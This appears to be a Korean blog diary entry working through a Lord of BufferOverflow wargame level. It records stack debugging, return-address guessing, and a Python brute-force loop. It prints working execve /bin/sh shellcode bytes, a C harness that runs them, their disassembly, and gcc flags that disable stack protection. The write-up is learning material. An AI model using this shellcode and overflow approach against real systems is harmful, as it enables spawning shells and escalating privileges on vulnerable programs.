한땀한땀 정성들인 코딩

LOB 문제풀이 일기(2) 본문

보안/LOB

LOB 문제풀이 일기(2)

romance penguin 2021. 3. 27. 17:32
반응형

다시 디버깅으로 확인

0xbffffb3c = 명령어 ret를 호출하기 직전의 esp 

0xbffffa38 = 위의 esp위치에서 4byte(sfp) + 256byte(char buf의 크기)를 더한값

?? 0xbffffa88이 아니라 0xbffffa38로 나오는데 정확한 이유는 잘 모르겠다. 48byte가 오차가 나긴하는데 ASLR이 안걸린건 확실하고 컴파일 마다 스택 논리주소가 변형이 되거나 우분투 자체를 온오프 할 때 변형이되거나(이건 아닌거 같다..) 하여간 오차값이 그리 크지 않아서 별문제는 없어보인다.

결론은 이 주소로 RET에 넣어도(적당히 4byte씩 더하면서 더 테스트 해봣다.) 쉘코드는 안 먹힌다.

메모리가 그리 큰것도 아니고 ;; 가상환경 메모리는 1gb정도다.

이쯤 되면 쉘코드가 의심스러워 진다. 쉘코드가 유효한지 아는 방법을 모르기에 구글링을 시작한다.

b8 2f 73 68 f0 c1 e0 04 c1 e8 04 50 68 2f 62 69 6e 31 d2 31 c9 89 e3 b8 0b f0 f0 f0 c1 e0 18 c1 e8 18 cd 80

 

모 유효성 검증 방법은 딱히 없고 ….. 그냥 어셈블리 명령어 쳤을떄 쉘 뜨면된다… 

우부투에서 뜨는 것을 확인했으니 문제는 없어 보인다.

구글에서 나오는 다른 쉘들을 써봤지만 안되는 건 마찬가지다..  

  • 쉘코드에 딱히 문제는 없어 보인다.

 

그럼 역시 문제는 esp위치인데 이걸 반복적으로 제대로 떄려박아야 된다. .

그전에 python 문법 공부를 좀 해야 되는데 python으로 “\x65” = e출력 이렇게 되야 데는데;;

즉 ( 근데 이거 내장 python 버전 대가 1.xx다. ㅋㅋㅋ )

adr = “\xfa\xff\xbf”

for i in range(0,50):

 print adr+chr(i)

 

chr로 숫자를 봐꾸면 1byte 문자가 된다.

그냥 무식하게 돌려 주었는데 돌아가지 않는다….

내일 grem2를 동적 디버깅으로 재확인 해야겠다 . ,,,

 

0xbffffa58   x/x

 

0xbffff97c

 

0xbffffba8

 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

<-인터넷에서 주워온 작동하는 25byte 쉘코드

 

#include <stdio.h>

 

unsigned char code[] = 

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

 

main()

{

    int (*ret)() = (int(*)())code;

    ret();

}

 

0x0804a018 <+0>: xor    eax,eax

   0x0804a01a <+2>: push   eax

   0x0804a01b <+3>: push   0x68732f2f

   0x0804a020 <+8>: push   0x6e69622f

   0x0804a025 <+13>: mov    ebx,esp

   0x0804a027 <+15>: push   eax

   0x0804a028 <+16>: mov    edx,esp

   0x0804a02a <+18>: push   ebx

   0x0804a02b <+19>: mov    ecx,esp

   0x0804a02d <+21>: mov    al,0xb

   0x0804a02f <+23>: int    0x80

컴파일 옵션 

gcc -m32 -fno-stack-protector -z execstack -o disas disas.c

쉘코드 -> 어셈블리어 변환용 이다.

 

내꺼와 비교해보니 

execve(“/bin/sh”,”(/bin/sh”)문자열 주소의 주소? ,NULL의 주소)

execve(“/bin/sh”,”/bin/sh”,NULL)

그러니깐 정확히는

ebx  = “/bin/sh” 문자열 주소값

ecx = “/bin/sh” 문자열 주소값의 주소값

edx = NULL의 주소

execve함수에 대해서 공부하자 ..

 

반응형

'보안 > LOB' 카테고리의 다른 글

LOB 문제풀이 일기(6)  (0) 2021.03.27
LOB 문제풀이 일기(5)  (0) 2021.03.27
LOB 문제풀이 일기(4)  (0) 2021.03.27
LOB 문제풀이 일기(3)  (0) 2021.03.27
LOB 문제풀이 일기(1)  (0) 2021.03.27